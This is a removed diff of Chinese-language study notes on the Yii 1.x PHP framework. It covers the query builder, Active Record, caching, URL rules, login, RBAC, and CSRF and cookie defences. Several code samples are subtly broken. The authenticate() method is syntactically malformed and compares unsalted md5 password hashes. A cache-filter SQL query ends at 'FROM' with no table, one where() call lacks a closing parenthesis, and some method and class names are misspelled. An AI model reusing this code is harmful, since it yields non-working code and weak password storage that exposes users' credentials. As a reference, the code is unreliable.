-selectDistinct ( 'id, username' )
-
-// FROM `tbl_user`
-from ( 'tbl_user' )
-// FROM `tbl_user` `u`, `public`.`tbl_profile` `p`
-from ( 'tbl_user u, public.tbl_profile p' )
-// FROM `tbl_user`, `tbl_profile`
-from ( array ( 'tbl_user' , 'tbl_profile' ))
-// FROM `tbl_user`, (select * from tbl_profile) p
-from ( array ( 'tbl_user' , '(select * from tbl_profile) p' ))
-
-// WHERE id=1 or id=2
-where ( 'id=1 or id=2' )
-// WHERE id=:id1 or id=:id2
-where ( 'id=:id1 or id=:id2' , array ( ':id1' => 1 , ':id2' => 2 ))
-// WHERE id=1 OR id=2
-where ( array ( 'or' , 'id=1' , 'id=2' ))
-// WHERE id=1 AND (type=2 OR type=3)
-where ( array ( 'and' , 'id=1' , array ( 'or' , 'type=2' , 'type=3' )))
-// WHERE `id` IN (1, 2)
-where ( array ( 'in' , 'id' , array ( 1 , 2 ))
-// WHERE `id` NOT IN (1, 2)
-where ( array ( 'not in' , 'id' , array ( 1 , 2 )))
-// when using LIKE, remember to escape user inputed `%` and `_`
-// WHERE `name` LIKE '%Qiang%'
-where ( array ( 'like' , 'name' , '%Qiang%' ))
-// WHERE `name` LIKE '%Qiang' AND `name` LIKE '%Xue'
-where ( array ( 'like' , 'name' , array ( '%Qiang' , '%Xue' )))
-// WHERE `name` LIKE '%Qiang' OR `name` LIKE '%Xue'
-where ( array ( 'or like' , 'name' , array ( '%Qiang' , '%Xue' )))
-// WHERE `name` NOT LIKE '%Qiang%'
-where ( array ( 'not like' , 'name' , '%Qiang%' ))
-// WHERE `name` NOT LIKE '%Qiang%' OR `name` NOT LIKE '%Xue%'
-where ( array ( 'or not like' , 'name' , array ( '%Qiang%' , '%Xue%' )))
-
-// WHERE ... OR ...
-orWhere ()
-
-// WHERE ... AND ...
-andWhere ()
-
-// ORDER BY `name`, `id` DESC
-order ( 'name, id desc' )
-// ORDER BY `tbl_profile`.`name`, `id` DESC
-order ( array ( 'tbl_profile.name' , 'id desc' ))
-
-// LIMIT 10
-limit ( 10 )
-// LIMIT 10 OFFSET 20
-limit ( 10 , 20 )
-
-// OFFSET 20
-offset ( 20 )
-
-// JOIN `tbl_profile` ON user_id=id
-join ( 'tbl_profile' , 'user_id=id' )
-
-// LEFT JOIN `pub`.`tbl_profile` `p` ON p.user_id=id AND type=1
-leftJoin ( 'pub.tbl_profile p' , 'p.user_id=id AND type=:type' , array ( ':type' => 1 ))
-
-// RIGHT JOIN
-rightJoin ()
-
-// CROSS JOIN
-crossJoin ()
-
-// NATURAL JOIN
-natrualJoin ()
-
-// GROUP BY `name`, `id`
-group ( 'name, id' )
-// GROUP BY `tbl_profile`.`name`, `id`
-group ( array ( 'tbl_profile.name' , 'id' ))
-
-// HAVING id=1 or id=2
-having ( 'id=1 or id=2' )
-// HAVING id=1 OR id=2
-having ( array ( 'or' , 'id=1' , 'id=2' ))
-
-// UNION (select * from tbl_profile)
-union ( 'select * from tbl_profile' )
-
-// 2. 数据操作(不同于数据查询, 数据操作会立即执行)
-
-// INSERT INTO `tbl_user` (`name`, `email`) VALUES (:name, :email)
-$command -> insert ( 'tbl_user' , array (
- 'name' => 'Tester' ,
- 'email' => 'tester@example.com' ,
-));
-
-// UPDATE `tbl_user` SET `name`=:name WHERE id=:id
-$command -> update ( 'tbl_user' , array (
- 'name' => 'Tester' ,
-), 'id=:id' , array ( ':id' => 1 ));
-
-// DELETE FROM `tbl_user` WHERE id=:id
-$command -> delete ( 'tbl_user' , 'id=:id' , array ( ':id' => 1 ));
-
-// 3. Schema 操作
-
-// CREATE TABLE `tbl_user` (
-// `id` int(11) NOT NULL AUTO_INCREMENT PRIMARY KEY,
-// `username` varchar(255) NOT NULL,
-// `location` point
-// ) ENGINE=InnoDB
-createTable ( 'tbl_user' , array (
- 'id' => 'pk' ,
- 'username' => 'string NOT NULL' ,
- 'location' => 'point' ,
-), 'ENGINE=InnoDB' )
-
-// RENAME TABLE `tbl_users` TO `tbl_user`
-renameTable ( 'tbl_users' , 'tbl_user' )
-
-// DROP TABLE `tbl_user`
-dropTable ( 'tbl_user' )
-
-// TRUNCATE TABLE `tbl_user`
-truncateTable ( 'tbl_user' )
-
-// ALTER TABLE `tbl_user` ADD `email` varchar(255) NOT NULL
-addColumn ( 'tbl_user' , 'email' , 'string NOT NULL' )
-
-// ALTER TABLE `tbl_user` DROP COLUMN `location`
-dropColumn ( 'tbl_user' , 'location' )
-
-// ALTER TABLE `tbl_users` CHANGE `name` `username` varchar(255) NOT NULL
-renameColumn ( 'tbl_user' , 'name' , 'username' )
-
-// ALTER TABLE `tbl_user` CHANGE `username` `username` varchar(255) NOT NULL
-alterColumn ( 'tbl_user' , 'username' , 'string NOT NULL' )
-
-// ALTER TABLE `tbl_profile` ADD CONSTRAINT `fk_profile_user_id`
-// FOREIGN KEY (`user_id`) REFERENCES `tbl_user` (`id`)
-// ON DELETE CASCADE ON UPDATE CASCADE
-addForeignKey ( 'fk_profile_user_id' , 'tbl_profile' , 'user_id' ,
- 'tbl_user' , 'id' , 'CASCADE' , 'CASCADE' )
-
-// ALTER TABLE `tbl_profile` DROP FOREIGN KEY `fk_profile_user_id`
-dropForeignKey ( 'fk_profile_user_id' , 'tbl_profile' )
-
-// CREATE INDEX `idx_username` ON `tbl_user` (`username`)
-createIndex ( 'idx_username' , 'tbl_user' , 'username' )
-
-// DROP INDEX `idx_username` ON `tbl_user`
-dropIndex ( 'idx_username' , 'tbl_user' )
-?>
-
-也可通过使用属性赋值方式:
-<?php
-$command -> select = array ( 'id' , 'username' );
-?>
-
-或在创建 CDbCommand
是传配置参数的方式构建:
-<?php
-$row = Yii :: app () -> db -> createCommand ( array (
- 'select' => array ( 'id' , 'username' ),
- 'from' => 'tbl_user' ,
- 'where' => 'id=:id' ,
- 'params' => array ( ':id' => 1 ),
-)) -> queryRow ();
-?>
-
-构建完成后, 可以使用在执行 SQL 语句 中讲到的方法执行之; 也可使用 CDbCommand::getText()
获取最后构建完工后的 SQL 语句, 绑定的参数被保存在 CDbCommand::params
中
-
-同一个 CDbCommand
实例可用于多次构建不同的查询, 但是记得要再另一次之前调用 CDbCommand::reset()
以清理上次的查询
-
-
-
-每个 AR 类代表一个数据表(或视图), 数据表(或视图)的列在 AR 类中体现为类的属性, 一个 AR 实例则表示表中的一行
-
-最佳应用是模型化数据表为 PHP 结构和执行不包含复杂 SQL 语句的查询. 对于复杂查询的场景, 应使用 Yii DAO
-
-如果你数据库的表结构很少改动, 你应该通过配置 CDbConnection::schemaCachingDuration
属性的值为一个大于零的值开启表结构缓存
-
-通过 AR 使用多个数据库有两种方式. 如果数据库的结构不同, 你可以创建不同的 AR 基类实现不同的 getDbConnection()
; 否则, 动态改变静态变量 CActiveRecord::db
是一个好主意
-
-由于 AR 类经常在多处被引用, 我们可以导入包含 AR 类的整个目录, 而不是一个个导入. 见路径别名和命名空间
-
-通过 Yii 的日志功能, 可以查看 AR 在背后到底执行了那些语句
-
-定义 AR 类:
-<?php
-class Post extends CActiveRecord {
- public static function model ( $className = __CLASS__ ) {
- return parent :: model ( $className );
- }
-
- /**
- * 默认情况下, AR 类的名字和数据表的名字相同. 如果不同, 请覆盖 `CActiveRecord::tableName` 方法
- */
- public function tableName () {
- return 'tbl_post' ;
- }
-
- /**
- * AR 依靠表中良好定义的主键. 如果一个表没有主键,则必须在相应的 AR 类中通过如下方式覆盖 primaryKey() 方法指定哪一列或哪几列作为主键:
- */
- public function primaryKey () {
- return 'id' ;
- // 对于复合主键,要返回一个类似如下的数组
- // return array('pk1', 'pk2');
- }
-}
-?>
-
-创建记录:
-
-
-如果表的主键是自增的, 在插入完成后, AR 实例将包含一个更新的主键
-
-<?php
-$post = new Post ;
-$post -> title = 'sample post' ;
-$post -> content = 'content for the sample post' ;
-// 如果要使用 Mysql 的 NOW(), 必须使用 CDbExpression, 单纯的 'NOW()' 将会被作为字符串对待
-$post -> create_time = new CDbExpression ( 'NOW()' );
-$post -> save ();
-?>
-
-读取记录:
-
-
-find
系列返回一个 AR 实例, 或者 null
-findAll
系列返回 AR 实例数组, 或者空数组
-
-<?php
-// 1. 常规
-// 查找满足指定条件的结果中的第一行
-$post = Post :: model () -> find ( $condition , $params );
-$post = Post :: model () -> find ( 'postID=:postID' , array ( ':postID' => 10 ));
-// 查找具有指定主键值的那一行
-$post = Post :: model () -> findByPk ( $postID , $condition , $params );
-// 查找具有指定属性值的行
-$post = Post :: model () -> findByAttributes ( $attributes , $condition , $params );
-// 通过指定的 SQL 语句查找结果中的第一行
-$post = Post :: model () -> findBySql ( $sql , $params );
-
-// 查找满足指定条件的所有行
-$posts = Post :: model () -> findAll ( $condition , $params );
-// 查找带有指定主键的所有行
-$posts = Post :: model () -> findAllByPk ( $postIDs , $condition , $params );
-// 查找带有指定属性值的所有行
-$posts = Post :: model () -> findAllByAttributes ( $attributes , $condition , $params );
-// 通过指定的SQL语句查找所有行
-$posts = Post :: model () -> findAllBySql ( $sql , $params );
-
-// 获取满足指定条件的行数
-$n = Post :: model () -> count ( $condition , $params );
-// 通过指定的 SQL 获取结果行数
-$n = Post :: model () -> countBySql ( $sql , $params );
-// 检查是否至少有一行复合指定的条件
-$exists = Post :: model () -> exists ( $condition , $params );
-
-// 2. 使用 `CDbCriteria`
-$criteria = new CDbCriteria ;
-$criteria -> select = 'title' ; // 只选择 'title' 列
-$criteria -> condition = 'postID=:postID' ;
-$criteria -> params = array ( ':postID' => 10 );
-$post = Post :: model () -> find ( $criteria ); // $params 不需要了
-
-// 3. 传递数组
-$post = Post :: model () -> find ( array (
- 'select' => 'title' ,
- 'condition' => 'postID=:postID' ,
- 'params' => array ( ':postID' => 10 ),
-));
-?>
-
-更新记录:
-
-
-如果一个 AR 实例是使用 new 操作符创建的, 调用 CActiveRecord::save
将会向数据表中插入一行新数据; 如果 AR 实例是某个 find 或 findAll 方法的结果, 调用 CActiveRecord::save
将更新表中现有的行. 实际上, 我们是使用 CActiveRecord::isNewRecord
说明一个 AR 实例是不是新的
-直接更新数据表中的一行或多行而不首先载入也是可行的:
-
-<?php
-// 更新符合指定条件的行
-Post :: model () -> updateAll ( $attributes , $condition , $params );
-// 更新符合指定条件和主键的行
-Post :: model () -> updateByPk ( $pk , $attributes , $condition , $params );
-// 更新满足指定条件的行的计数列
-Post :: model () -> updateCounters ( $counters , $condition , $params );
-?>
-
-删除记录:
-
-
-实例化后删除: 这样删除之后, AR 实例仍不改变
-
-<?php
-$post = Post :: model () -> findByPk ( 10 ); // 假设有一个帖子,其 ID 为 10
-$post -> delete (); // 从数据表中删除此行
-?>
-
-
-<?php
-// 删除符合指定条件的行
-Post :: model () -> deleteAll ( $condition , $params );
-// 删除符合指定条件和主键的行
-Post :: model () -> deleteByPk ( $pk , $condition , $params );
-?>
-
-如果要确定两个 AR 是否是同一个记录, 只需对比它们的主键值, 或直接调用 CActiveRecord::equals()
-
-通过以下几个占位符方法, 可以自定义 AR 的工作流:
-
-
-
-占位符方法
-含义
-
-
-
-beforeValidate, afterValidate
-在验证之前(后)执行
-
-
-beforeSave, afterSave
-在保存 AR 实例之前(后)执行
-
-
-beforeFind, afterFind
-在执行查询之前(后)执行
-
-
-afterConstruct
-在 AR 实例化之后执行
-
-
-
-数据验证和块赋值参见触发验证 和块赋值
-
-事务处理, 参见使用事务
-<?php
-$model = Post :: model ();
-$transaction = $model -> dbConnection -> beginTransaction ();
-try {
- // 查找和保存是可能由另一个请求干预的两个步骤
- // 这样我们使用一个事务以确保其一致性和完整性
- $post = $model -> findByPk ( 10 );
- $post -> title = 'new post title' ;
- $post -> save ();
- $transaction -> commit ();
-} catch ( Exception $e ) {
- $transaction -> rollBack ();
-}
-?>
-
-命名范围: 即查询时的过滤器
-
-
-<?php
-class Post extends CActiveRecord {
- /**
- * 默认命名范围, 隐式应用于所有关于此模型的 SELECT 查询
- */
- public function defaultScope () {
- return array (
- 'condition' => "language='" . Yii :: app () -> language . "'" ,
- );
- }
-
- /**
- * 这里定义的命名范围可以被显式应用于 SELECT,UPDATE,CREATE,DELETE 操作
- * @return {[type]} [description]
- */
- public function scopes () {
- return array (
- 'published' => array (
- 'condition' => 'status=1' ,
- ),
- 'recently' => array (
- 'order' => 'create_time DESC' ,
- 'limit' => 5 ,
- ),
- );
- }
-}
-?>
-
-
-<?php
-$posts = Post :: model () -> published () -> recently () -> findAll ();
-?>
-
-关系型 Active Record
-
-为了使用关系型 AR, 建议在关联的表中定义主键-外键约束
-
-关系包括: BELONGS_TO
, HAS_MANY
, HAS_ONE
, MANY_MANY
, STAT
-
-使用 STAT
关系已获取统计数据
-
-适当使用 together
查询选项, 会加快查询速度
-
-在 AR 查询中, 基础表的别名为 t
, 其他关联表的别名和关系的名称一样
-
-声明关系
-<?php
-class Post extends CActiveRecord {
- public function relations () {
- return array (
- 'author' => array ( self :: BELONGS_TO , 'User' , 'author_id' ),
- 'categories' => array ( self :: MANY_MANY , 'Category' ,
- 'tbl_post_category(post_id, category_id)' ),
- );
- }
-}
-
-class User extends CActiveRecord {
- public function relations () {
- return array (
- 'posts' => array ( self :: HAS_MANY , 'Post' , 'author_id' ),
- 'profile' => array ( self :: HAS_ONE , 'Profile' , 'owner_id' ),
- );
- }
-}
-
-// 使用额外的选项
-// 可用选项包括: select, condition, params, on, order, with, joinType, alias, together, join, group, having, index
-// 当使用 `STAT` 关系时, 可用的选项包括: select, defaultValue, condition, params, order, group, having
-class User extends CActiveRecord {
- public function relations () {
- return array (
- 'posts' => array ( self :: HAS_MANY , 'Post' , 'author_id' ,
- 'order' => 'posts.create_time DESC' ,
- 'with' => 'categories' ),
- 'profile' => array ( self :: HAS_ONE , 'Profile' , 'owner_id' ),
- );
- }
-}
-?>
-
-执行关联查询
-<?php
-// 1. 懒惰式加载:
-// 获取 ID 为 10 的帖子
-$post = Post :: model () -> findByPk ( 10 );
-// 获取帖子的作者(author): 此处将执行一个关联查询。
-$author = $post -> author ;
-
-// 2. 渴求式加载(比懒惰式高效)
-// 2.1 常规方式
-// 获取 post 及其作者和分类
-$posts = Post :: model () -> with ( 'author' ) -> findAll ();
-// 获取 post 及其作者和分类, 以及作者简介(author.profile) 和帖子(author.posts)
-$posts = Post :: model () -> with (
- 'author.profile' ,
- 'author.posts' ,
- 'categories' ) -> findAll ();
-// 2.2 指定 `CDbCeteria::with` 属性
-$criteria = new CDbCriteria ;
-$criteria -> with = array (
- 'author.profile' ,
- 'author.posts' ,
- 'categories' ,
-);
-$posts = Post :: model () -> findAll ( $criteria );
-// 2.3 配置数组
-$posts = Post :: model () -> findAll ( array (
- 'with' => array (
- 'author.profile' ,
- 'author.posts' ,
- 'categories' ,
- )
-);
-
-// 3. 动态
-// 3.1
-User :: model () -> with ( array (
- 'posts' => array ( 'order' => 'posts.create_time ASC' ),
- 'profile' ,
-)) -> findAll ();
-// 3.2
-$user = User :: model () -> findByPk ( 1 );
-$posts = $user -> posts ( array ( 'condition' => 'status=1' ));
-
-// 如果关系中没有相关的实例,则相应的属性将为 null(BELONGS_TO, HAS_ONE) 或一个空数组(HAS_MANY, MANY_MANY)
-?>
-
-使用命名空间
-<?php
-// 1.
-class User extends CActiveRecord {
- public function relations () {
- return array (
- 'posts' => array ( self :: HAS_MANY , 'Post' , 'author_id' ,
- 'with' => 'comments:approved' ),
- );
- }
-}
-// 2.
-$posts = Post :: model () -> published () -> recently () -> with ( 'comments' ) -> findAll ();
-// 3.
-$posts = Post :: model () -> published () -> recently () -> with ( 'comments' ) -> findAll ();
-?>
-
-数据库迁移 @todo
-
-配置
-<?php
-array (
- ......
- 'components' => array (
- ......
- 'cache' => array (
- // 支持的缓存包括:
- // - CMemCache
- // - CXCache
- // - CEAcceleratorCache
- // - CDbCache: 默认使用 runtime 目录下的 SQLite3 数据库
- // - CZendDataCache
- // - CFileCache
- // - CDummyCache: 只是为了开发阶段模拟尚未实现的缓存功能
- 'class' => 'system.caching.CMemCache' ,
- 'servers' => array (
- array ( 'host' => 'server1' , 'port' => 11211 , 'weight' => 60 ),
- array ( 'host' => 'server2' , 'port' => 11211 , 'weight' => 40 ),
- ),
- ),
- ),
-);
- ?>
-
-存取操作
-<?php
-// 生成
-// 过期时间 30 可选, 同一个应用中的缓存 id 必须唯一
-Yii :: app () -> cache -> set ( $id , $value , 30 );
-
-// 调取
-// 1. 单个
-$value = Yii :: app () -> cache -> get ( $id );
-if ( $value === false )
-{
- // 因为在缓存中没找到 $value ,重新生成它 ,
- // 并将它存入缓存以备以后使用:
- // Yii::app()->cache->set($id,$value);
-}
-// 2. 批量
-$values = Yii :: app () -> cache -> mget ( array $ids );
-
-// 删除
-Yii :: app () -> cache -> delete ( $id );
-
-// 重刷
-Yii :: app () -> cache -> flush ();
-
-// CCache 实现了 ArrayAccess, 所以也可通过下列方式操作:
-$cache = Yii :: app () -> cache ;
-$cache [ 'var1' ] = $value1 ; // 相当于: $cache->set('var1',$value1);
-$value2 = $cache [ 'var2' ]; // 相当于: $value2=$cache->get('var2');
- ?>
-
-<?php
-// 此值将在30秒后失效
-// 也可能因依赖的文件发生了变化而更快失效
-Yii :: app () -> cache -> set ( $id , $value , 30 , new CFileCacheDependency ( 'FileName' ));
-// 可用的依赖有:
-// - CFileCacheDependency: 如果文件的最后修改时间发生改变
-// - CDirectoryCacheDependency: 如果目录和其子目录中的文件发生改变
-// - CDbCacheDependency: 如果指定 SQL 语句的查询结果发生改变
-// - CGlobalStateCacheDependency: 如果指定的全局状态发生改变
-// - CChainedCacheDependency: 如果链中的任何依赖发生改变
-// - CExpressionDependency: 如果指定的 PHP 表达式的结果发生改变
- ?>
-
-基本使用方法
-<?php if ( $this -> beginCache ( $id )) { // 如果缓存有效, 则输出缓存... ?>
- ... 被缓存的内容 ...
-<? php $this -> endCache (); } // ...否则在此处存储缓存 ?>
-
-
-
- 如果想要缓存整个页面, 我们应该跳过产生网页内容的动作执行. 我们可以使用 COutputCache
或 CHttpCacheFilter
作为动作过滤器来完成这一任务
-
-COutputCache
-<?php
-public function filters ()
-{
- return array (
- array (
- 'COutputCache' ,
- 'duration' => 100 ,
- 'varyByParam' => array ( 'id' ),
- ),
- );
-}
-?>
-
-CHttpCacheFilter
-<?php
-public function filters ()
-{
- return array (
- array (
- 'CHttpCacheFilter + index' ,
- 'lastModified' => Yii :: app () -> db -> createCommand ( "SELECT MAX(`update_time`) FROM " ) -> queryScalar (),
- ),
- );
-}
-?>
-
-<?php if ( $this -> beginCache ( $id )) { ?>
-...被缓存的片段内容...
- <?php $this -> renderDynamic ( $callback ); ?>
-...被缓存的片段内容...
-<?php $this -> endCache (); } ?>
-
-URL 管理
-
-配置 URL 格式及转发规则:
-
-NOTE: 过多的规则会导致应用性能下降
-<?php
-// 在配置文件中:
-array (
- 'components' => array (
- 'urlManager' => array (
- 'urlFormat' => 'path' , // 格式
- 'rules' => array ( // 转发规则
- // 1.
- // `pattern` 用于和当前 URL 的 path info 做匹配
- // 匹配成功的话, 会跳转到对应的 `route` 指定的 CA
- 'pattern1' => 'route1' ,
-
- // 2.
- // 也可以使用数组形式指定转发规则, 如此一来便能针对同一 pattern 指定多个规则, 或者通过 verb 来支持 RESTful URL
- array (
- 'route1' ,
- 'pattern' => 'pattern1' ,
- 'urlSuffix' => '.xml' ,
- 'caseSensitive' => false
- ),
- // 可用的选项包括: `pattern`, `urlSuffix`, `caseSensitive`, `defualtParams`, `matchValue`, `verb`, `parsisngOnly`
-
- // 3.
- // 使用命名参数: <ParamName:ParamPattern>
- // 当 URL 被解析后, 命名的参数会自动生成到 $_GET 中
- 'http://<user:\w+>.example.com/<lang:\w+>/profile' => 'user/profile' ,
-
- // 示例:
- array (
- 'api/<controller>/update' ,
- 'pattern' => 'api/<controller:\w+>/<id:\d+>' ,
- 'verb' => 'PUT, POST'
- ),
- array (
- 'api/<controller>/delete' ,
- 'pattern' => 'api/<controller:\w+>/<id:\d+>' ,
- 'verb' => 'DELETE'
- ),
- '<controller:\w+>/<action:\w+>/<id:\d+>' => '<controller>/<action>' ,
- '<action:(login|logout|about)>' => 'site/<action>' ,
- ),
- ),
- ),
-);
-?>
-
-生成 URL:
-<?php
-// createUrl 生成相对 URL
-$this -> createUrl ( 'post/read' , array ( 'id' => 100 ));
-// 如果要得到绝对 URL, 可以使用 `Yii::app()->hostInfo;` 或 `CController::createAbsosluteUrl`
-?>
-
-使用自定义 URL 解析器:
-
-
-<?php
-/**
- * 自定义 URL 解析器必须继承 CBasUrlRule, 并实现 `createUrl()` 和 `parseUrl`
- */
-class CarUrlRule extends CBaseUrlRule
-{
- public $connectionID = 'db' ;
-
- public function createUrl ( $manager , $route , $params , $ampersand )
- {
- if ( $route === 'car/index' )
- {
- if ( isset ( $params [ 'manufacturer' ], $params [ 'model' ]))
- return $params [ 'manufacturer' ] . '/' . $params [ 'model' ];
- else if ( isset ( $params [ 'manufacturer' ]))
- return $params [ 'manufacturer' ];
- }
- return false ; // this rule does not apply
- }
-
- public function parseUrl ( $manager , $request , $pathInfo , $rawPathInfo )
- {
- if ( preg_match ( '%^(\w+)(/(\w+))?$%' , $pathInfo , $matches ))
- {
- // check $matches[1] and $matches[3] to see
- // if they match a manufacturer and a model in the database
- // If so, set $_GET['manufacturer'] and/or $_GET['model']
- // and return 'car/index'
- }
- return false ; // this rule does not apply
- }
-}
-
-
-?>
-
-
-<?php
-array (
- 'class' => 'application.components.CarUrlRule' ,
- 'connectionID' => 'db' ,
- ),
-?>
-
-<?php
-class UserIdentity extends CUserIdentity {
- private $_id ;
-
- /**
- * 这是身份类的主要工作, 实现验证
- */
- public function authenticate () {
- // 使用 User AR 获取数据
- $record = User :: model () -> findByAttributes ( array ( 'username' => $this -> username ));
- if ( $record === null ) {
- $this -> errorCode = self :: ERROR_USERNAME_INVALID ;
- } else if {
- ( $record -> password !== md5 ( $this -> password ))
- $this -> errorCode = self :: ERROR_PASSWORD_INVALID ;
- } else {
- $this -> _id = $record -> id ;
- // 使用 setState 把 title 信息存储为状态传递给 CWebUser
- // 之后便可以使用 Yii::app()->user->title 访问
- // CWebUser 默认会存储状态信息到 session, 但如果 CWebUser::allowAutoLogin 为 true, 则会存到 cookie, 切勿将敏感信息存入 cookie
- $this -> setState ( 'title' , $record -> title );
- $this -> errorCode = self :: ERROR_NONE ;
- }
- return ! $this -> errorCode ;
- }
-
- /**
- * 重写 getId, 默认的实现是直接返回用户名
- */
- public function getId () {
- return $this -> _id ;
- }
-}
-?>
-
-登录和注销:
-<?php
-// 1. 使用提供的用户名和密码登录用户
-$identity = new UserIdentity ( $username , $password );
-if ( $identity -> authenticate ()) {
- // 将用户身份信息存入持久存储(默认为 Session)
- // 之后便可以用 `Yii::app->user->isGuest` 判断用户是否登录
- Yii :: app () -> user -> login ( $identity );
-} else {
- echo $identity -> errorMessage ;
-}
-......
-
-// 注销当前用户
-Yii :: app () -> user -> logout ();
-
-// 2. 使用 Cookie 登录
-// 要确保用户部件的allowAutoLogin被设置为true。
-// 保留用户登陆状态时间7天
-Yii :: app () -> user -> login ( $identity , 3600 * 24 * 7 );
-?>
-
-如果使用 cookie 登录, 要确保不要保存敏感信息到 State, 而是保存到持久存储(数据库) 上, 最好(参见安全 ):
-
-
-当用户成功登录时, 保存同一个随机串到 cookie State 和数据库
-在之后的的自动 cookie 登录时, 对比 cookie 中和数据库中的随机串是否一致
-如果用户通过登录表单登录, 刷新这个随机串
-
-
-过滤器
-
- 过滤器定义之后, 还要通过重载 CController::accessRules
指定具体授权规则
-<?php
-class PostController extends CController {
- /**
- * 配置数组的值可为
- * 第一项: `deny` 或者 `allow`
- * actions: action 名字
- * users: *: 任何用户, ?: 匿名用户, @: 验证通过的用户
- */
- public function accessRules () {
- return array (
- array ( 'deny' ,
- 'actions' => array ( 'create' , 'edit' ),
- 'users' => array ( '?' ),
- ),
- array ( 'allow' ,
- 'actions' => array ( 'delete' ),
- 'roles' => array ( 'admin' ),
- ),
- array ( 'deny' ,
- 'actions' => array ( 'delete' ),
- 'users' => array ( '*' ),
- ),
- // 为了确保某类动作在没允许情况下不被执行
- array ( 'deny' ,
- 'action' => 'delete' ,
- )
- );
- }
-}
-?>
-
-如果授权失败
-
-
-
-如果希望在用户登录成功后转到之前页面:
-<?php
-Yii :: app () -> request -> redirect ( Yii :: app () -> user -> returnUrl );
-?>
-
-基于角色的访问控制(Role-Based Access Control)
-
-授权项目
可分为操作(operations)
, 任务(tasks)
和角色(roles)
一个角色由若干任务组成, 一个任务由若干操作组成, 而一个操作就是一个许可
, 不可再分. Yii 还允许一个角色包含其他角色或操作, 一个任务可以包含其他操作, 一个操作可以包括其他操作. 授权项目是通过它的名字唯一识别的
-
-一个授权项目可能与一个业务规则
关联. 业务规则是一段 PHP 代码, 在进行涉及授权项目的访问检查时将会被执行. 仅在执行返回 true
时, 用户才会被视为拥有此授权项目所代表的权限许可
-
-Yii 提供了两种授权管理器: CPhpAuthManager
和 CDbAuthManager
. 前者将授权数据存储在一个 PHP 脚本文件中而后者存储在数据库中. 配置 CWebApplication::authManager
应用组件时, 我们需要指定使用哪个授权管理器组件类, 以及所选授权管理器组件的初始化属性值:
-<?php
-return array (
- 'components' => array (
- 'db' => array (
- 'class' => 'CDbConnection' ,
- 'connectionString' => 'sqlite:path/to/file.db' ,
- ),
- 'authManager' => array (
- 'class' => 'CDbAuthManager' ,
- 'connectionID' => 'db' ,
- ),
- ),
-);
-?>
-
-然后, 我们便可以使用 Yii::app()->authManager
访问
-
-定义授权等级体总共分三步
-
-
-定义授权项目
-
-
-CAuthManager::createRole
-CAuthManager::createTask
-CAuthManager::createOperation
-
-建立授权项目之间的关系
-
-
-CAuthManager::addItemChild
-CAuthManager::removeItemChild
-CAuthItem::addChild
-CAuthItem::removeChild
-
-分配角色给用户
-
-
-CAuthManager::assign
-CAuthManager::revoke
-
-
-
-如:
-<?php
-// 并不需要在每个请求中都要运行
-$auth = Yii :: app () -> authManager ;
-
-$auth -> createOperation ( 'createPost' , 'create a post' );
-$auth -> createOperation ( 'readPost' , 'read a post' );
-$auth -> createOperation ( 'updatePost' , 'update a post' );
-$auth -> createOperation ( 'deletePost' , 'delete a post' );
-
-$bizRule = 'return Yii::app()->user->id==$params["post"]->authID;' ;
-$task = $auth -> createTask ( 'updateOwnPost' , 'update a post by author himself' , $bizRule );
-$task -> addChild ( 'updatePost' );
-
-$role = $auth -> createRole ( 'reader' );
-$role -> addChild ( 'readPost' );
-
-$role = $auth -> createRole ( 'author' );
-$role -> addChild ( 'reader' );
-$role -> addChild ( 'createPost' );
-$role -> addChild ( 'updateOwnPost' );
-
-$role = $auth -> createRole ( 'editor' );
-$role -> addChild ( 'reader' );
-$role -> addChild ( 'updatePost' );
-
-$role = $auth -> createRole ( 'admin' );
-$role -> addChild ( 'editor' );
-$role -> addChild ( 'author' );
-$role -> addChild ( 'deletePost' );
-
-$auth -> assign ( 'reader' , 'readerA' );
-$auth -> assign ( 'author' , 'authorB' );
-$auth -> assign ( 'editor' , 'editorC' );
-$auth -> assign ( 'admin' , 'adminD' );
-?>
-
-权限检查:
-<?php
-if ( Yii :: app () -> user -> checkAccess ( 'createPost' )) {
- // 创建帖子
-}
-
-// 也可传参
-$params = array ( 'post' => $post );
-if ( Yii :: app () -> user -> checkAccess ( 'updateOwnPost' , $params )) {
- // 更新帖子
-}
-?>
-
-默认角色就是一个隐式分配给每个用户的角色, 这些用户包括通过身份验证的用户和游客
-
-配置:
-<?php
-return array (
- 'components' => array (
- 'authManager' => array (
- 'class' => 'CDbAuthManager' ,
- 'defaultRoles' => array ( 'authenticated' , 'guest' ),
- ),
- ),
-);
-?>
-
-定义:
-<?php
-$bizRule = 'return !Yii::app()->user->isGuest;' ;
-$auth -> createRole ( 'authenticated' , 'authenticated user' , $bizRule );
-
-$bizRule = 'return Yii::app()->user->isGuest;' ;
-$auth -> createRole ( 'guest' , 'guest user' , $bizRule );
-?>
-
-// 这里将 CHtmlPurifier 作为一个 Widget 来过滤用户输入
-<?php $this -> beginWidget ( 'CHtmlPurifier' ); ?>
-//...这里显示用户输入的内容...
-<?php $this -> endWidget (); ?>
-
-CSRF: 跨站请求伪造
-
-定义: 攻击者在用户浏览器在访问恶意网站的时候, 让用户的浏览器向一个受信任的网站发起攻击者指定的请求
-
-防范: GET 请求只允许检索数据而不能修改服务器上的任何数据, 而 POST 请求应当含有一些可以被服务器识别的随机数值, 用来保证表单数据的来源和运行结果发送的去向是相同的
-<?php
-// 启用 CsrfValidation 组件
-// 该组件会自动在用 CHtml::form 生成的表单中嵌入一个保存随机值的隐藏项, 在表单提交的时候发送到服务器进行验证
-return array (
- 'components' => array (
- 'request' => array (
- 'enableCsrfValidation' => true ,
- ),
- ),
-);
-?>
-
-Cookie 攻击
-
-定义: session ID 通常存储在 Cookie中, 如果攻击者窃取到了一个有效的 session ID, 他就可以使用这个 session ID 对应的 session 信息
-
-防范:
-
-
-您可以使用 SSL 来产生一个安全通道, 且只通过 HTTPS 连接来传送验证 cookie
-设置 cookie 的过期时间, 对所有的 cookie 和 session 令牌也这样做
-防范跨站代码攻击, 因为它可以在用户的浏览器触发任意代码, 这些代码可能会泄露用户的 cookie
-在 cookie 有变动的时候验证 cookie 的内容
-
-<?php
-// 1. 启用 CookieValidation 组件
-return array (
- 'components' => array (
- 'request' => array (
- 'enableCookieValidation' => true ,
- ),
- ),
-);
-
-// 然后只使用 CHttpRequest::cookies 进行 cookie 操作(而不是 $_COOKIES)
-// 检索一个名为$name的cookie值
-$cookie = Yii :: app () -> request -> cookies [ $name ];
-$value = $cookie -> value ;
-......
-// 设置一个cookie
-$cookie = new CHttpCookie ( $name , $value );
-Yii :: app () -> request -> cookies [ $name ] = $cookie ;
-?>
-
-
-
-
-
-
-
-
-
